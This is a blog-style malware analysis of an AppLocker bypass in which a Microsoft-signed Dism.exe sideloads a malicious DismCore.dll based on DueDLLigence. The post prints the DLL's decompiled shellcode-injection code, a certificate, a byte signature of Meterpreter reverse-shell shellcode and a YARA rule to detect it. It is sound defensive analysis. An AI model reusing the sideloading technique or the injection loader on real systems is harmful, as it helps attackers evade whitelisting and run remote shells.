Dism.exe and shellcode injecting technique to bypass Applocker rules

By | February 8, 2025

Intro

Correctly configured AppLocker rules prevent the execution of untrusted executable files, scripts, and other potentially harmful content. However, it is essential to simplify the process of creating these rules by minimizing the overhead required to maintain them. And one of the popular way to do that is allowing execution of files signed by Microsoft and/or other well-known companies (HP, Oracle, Google, etc).

This is why tools like AaronLocker automatically generate rules that allow the execution of Microsoft-signed OS executable files. These files typically reside in directories like %Windir% directories and loads DLLs using the LOAD_LIBRARY_SEARCH_SYSTEM32 flag, which prevents attacks where Microsoft-signed executable files load malicious libraries.

All modern Microsoft code is written with this security measure in mind. For example, here is a snippet from Microsoft’s Terminal project:

       const PCWSTR pszConhostDllName = L"ConhostV1.dll"; 
    // Load our implementation, and then Load/Launch the IO thread. 
    wil::unique_hmodule hConhostBin(LoadLibraryExW(pszConhostDllName, nullptr, LOAD_LIBRARY_SEARCH_SYSTEM32)); 

Since LOAD_LIBRARY_SEARCH_SYSTEM32 forces LoadLibrary to load DLLs exclusively from the %System32% directory, attackers have lost the ability to inject malicious DLLs without Administrator or System privileges to replace these files. Also, take a look at functions like:

  • AddDllDirectory
  • SetDefaultDllDirectories

Another common approach in well-secured software is to use the WinVerifyTrust Windows API to verify that a DLL loaded via LoadLibrary is correctly signed with a valid certificate.

Unfortunately, some Microsoft executable files doesn’t use LOAD_LIBRARY_SEARCH_SYSTEM32 flag and are reused by attackers to carry out their attacks.

Once, I analyzed case when attacker use Microsoft Dism.exe and attacker’s DismCore.dll files. Dism.exe, was a Microsoft-signed binary with the following certificate:

Below is the certificate in PEM:

-----BEGIN CERTIFICATE----- 

MIIFBDCCA+ygAwIBAgITMwAAAXRp3hCLN2Wo1wAAAAABdDANBgkqhkiG9w0BAQsF 

ADCBhDELMAkGA1UEBhMCVVMxEzARBgNVBAgTCldhc2hpbmd0b24xEDAOBgNVBAcT 

B1JlZG1vbmQxHjAcBgNVBAoTFU1pY3Jvc29mdCBDb3Jwb3JhdGlvbjEuMCwGA1UE 

AxMlTWljcm9zb2Z0IFdpbmRvd3MgUHJvZHVjdGlvbiBQQ0EgMjAxMTAeFw0xNzA4 

MTEyMDIzMzVaFw0xODA4MTEyMDIzMzVaMHAxCzAJBgNVBAYTAlVTMRMwEQYDVQQI 

EwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVNaWNyb3Nv 

ZnQgQ29ycG9yYXRpb24xGjAYBgNVBAMTEU1pY3Jvc29mdCBXaW5kb3dzMIIBIjAN 

BgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAyuCoDMzWlNVC+vhg3V+6NX6QuKLA 

jZJuXxDdoGJ1eo8ZZTtlh5g462LV0LR1t8mbQQE5iU3QhtdSreQvV9OSfQKLLBfg 

Pd/S8JKsA5hmpQB7+GTiBjI59/W2T3ANdpbszYJ7R7WjHcBDvCRK+2m4dFOjS45O 

yzIsEpp411BcWbOWBpOBiulFOsqvPhaUWnaMfv3u95Nwc1RnFNJkSPPa/50gD4Ye 

g2Bmfa7c3dDQr9pU6YJyvq7WhnYl9g3+qrLN/e71XHc9vjJEkIMzfp654a3EgM1f 

vfcfRoXnB8gwAFGBWwggDuxYI7IiiTq02rfkxKFlyZAmuJqG7avckmBrQwIDAQAB 

o4IBgDCCAXwwHwYDVR0lBBgwFgYKKwYBBAGCNwoDBgYIKwYBBQUHAwMwHQYDVR0O 

BBYEFCYu9zida3q77NtVAqbC2phmlwnVMFIGA1UdEQRLMEmkRzBFMQ0wCwYDVQQL 

EwRNT1BSMTQwMgYDVQQFEysyMjk4NzkrNzE5NTU1Y2ItNmRlMi00NDZjLWFjYmEt 

ZDkwODk0YWNkODcyMB8GA1UdIwQYMBaAFKkpAjmOFsSXeM2Q+Z5PmuF8Va9TMFQG 

A1UdHwRNMEswSaBHoEWGQ2h0dHA6Ly93d3cubWljcm9zb2Z0LmNvbS9wa2lvcHMv 

Y3JsL01pY1dpblByb1BDQTIwMTFfMjAxMS0xMC0xOS5jcmwwYQYIKwYBBQUHAQEE 

VTBTMFEGCCsGAQUFBzAChkVodHRwOi8vd3d3Lm1pY3Jvc29mdC5jb20vcGtpb3Bz 

L2NlcnRzL01pY1dpblByb1BDQTIwMTFfMjAxMS0xMC0xOS5jcnQwDAYDVR0TAQH/ 

BAIwADANBgkqhkiG9w0BAQsFAAOCAQEAsDAOTTJRFPx4BeEahMFQT2AP2xGpWnOQ 

4UPworK+VX5EX05sk/e/5nNs3rlHuZTs0G5EH3J8//93KB61rF7yhqhh3c0ZLSNu 

g1Sssjqi2cZ4li3tyAwqBY2S1duDH9O64z23UMRQVf6ZbFLIMKd3p2+C1Z4CwcdW 

fT2RujFB1OgJfy2x/hTadzgTdJajNttiYHbcDUgIuCIQNOEBSzZeH58mA91k3BqZ 

2vJibyfW4C3JaXIfCX6P8cqA7i4QfD2nKPegweG9Cr4etSvGD4aat2B7oREHVtWC 

XeHhqrvpa3rY5YvCoC7NoG34Gvhi6h2AhBpJaydMAVO66L2aNHbPmg== 

-----END CERTIFICATE----- 

An interesting aspect of Dism.exe, as you may have already guessed, is that it does not use LoadLibraryEx with the LOAD_LIBRARY_SEARCH_SYSTEM32 flag as shown below in disassembled code

This oversight allows it to load a DLL from unintended locations, bypassing applocker typical rules.

DismCore.dll as you see the disassembled code above is one of the libraries that Dism.exe searches for and loads upon execution. Due to the improper use of LoadLibrary, Dism.exe loads the DLL from the current directory instead of restricting it to %System32% with LOAD_LIBRARY_SEARCH_SYSTEM32. At the same time, since Dism.exe is signed with a valid Microsoft private key/certificate, we can bypass the default AppLocker rules in the attacked computer.

CreateObjectFromModule calls DllGetClassObject which is used by the attackers in their DismCore.dll as we see later,

retrieves the current executable file path using GetRunningExeFolder, concatenates it with the string "DismCore.dll", and loads it into its virtual address space using LoadLibraryEx and then executes DllGetClassObject.

DismCore.dll is a C# .NET-built executable containing embedded shellcode, which is actually based on FireEye’s DueDLLigence project: https://github.com/fireeye/DueDLLigence.

Interesting that projects’ README describes approach with dism.exe and DllGetClassObject and the other ones so, IT security team need to add correspond rules to theirs system to detect such kind of activity. 

Now, let’s take a look at DismCore.dll in DnSpy. Interesting that attackers didn’t even change assembly info before building the code  

So, when bogus dism.exe calls DllGetClassObject from this DLL 

public static bool DllGetClassObject()
{
    DueDilly.RunShellcode();
    return false;
}

Then RunShellcode is executed. It, in turn, calls DueDilly.ExecCreateThread() which performs shell decrypting as described here – https://recallfor.xyz/the-story-of-one-attack-shell-decryption/ and inserting into legitime process by the code shown below 

IntPtr intPtr2 = DueDilly.VirtualAlloc(IntPtr.Zero, (uint)array.Length, DueDilly.MEM_COMMIT, DueDilly.PAGE_READWRITE);
bool flag3 = intPtr2 == IntPtr.Zero;
if (!flag3)
{
    Marshal.Copy(array, 0, intPtr2, array.Length);
    uint num6;
    bool flag4 = !DueDilly.VirtualProtect(intPtr2, (uint)array.Length, DueDilly.PAGE_EXECUTE_READ, out num6);
    if (flag4)
    {
        DueDilly.VirtualFree(intPtr2, 0U, DueDilly.FreeType.Release);
    }
    else
    {
        IntPtr intPtr = DueDilly.CreateThread((IntPtr)0, 0U, intPtr2, IntPtr.Zero, 0U, ref num);
        bool flag5 = intPtr == IntPtr.Zero;
        if (flag5)
        {
            DueDilly.VirtualFree(intPtr2, 0U, DueDilly.FreeType.Release);
        }
        else
        {
            DueDilly.WaitForSingleObject(intPtr, uint.MaxValue);
        }
    }
}

One interesting aspect here is that this dll code starts Notepad.exe

string process = DueDilly.DefProcPath;

// ...

DueDilly.PROCESS_INFORMATION process_INFORMATION = DueDilly.StartProcess(process);

you should see unusual activity (based on parent/child process starts) in your SIEM system, as well as in Sysmon or AppLocker logs

And the last moment regarding this attack. If we check the shell code in hex editor we will notice that there is interesting signature as shown below

41 58 41 58 5E 59 5A 41 58 41 59 41 5A 48 83 (XAX^YZAXAYAZH in ASCII) 

Googling lets us to find article which describes payloads  with the similar sequence of bytes , for an example: 

and we can create YAR rule for Metasploit shell

rule MetasploitShell  { 

meta: 

description = ""Yara Rule wininet meterpreter reverse x64"" 

author = ""..."" 

reference = ""Internal Research"" 

strings: 

    $sequence1 = {  48 85 C0 74 67 48 01 D0 50 8B 48 18 44 8B 40 20 49 01 D0 E3 56 48 FF C9 41 8B 34 88 48 01 D6 4D 31 C9 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1 75 D8 58 44 8B 40 24 49 01 D0 66 41 8B 0C 48 44 8B 40 1C 49 01 D0 41 8B 04 88 48 01 D0 41 58 41 58 5E 59 5A 41 58 41 59 41 5A 48 83 EC 20 41 52 FF E0 58  } 

    $sequence2 = { 41 59 5A 48 8B 12 E9 4F FF FF FF 5D 6A 00 49 BE 77  69 6E 69 6E 65 74 00 41}  

condition: 

    all of them 

Leave a Reply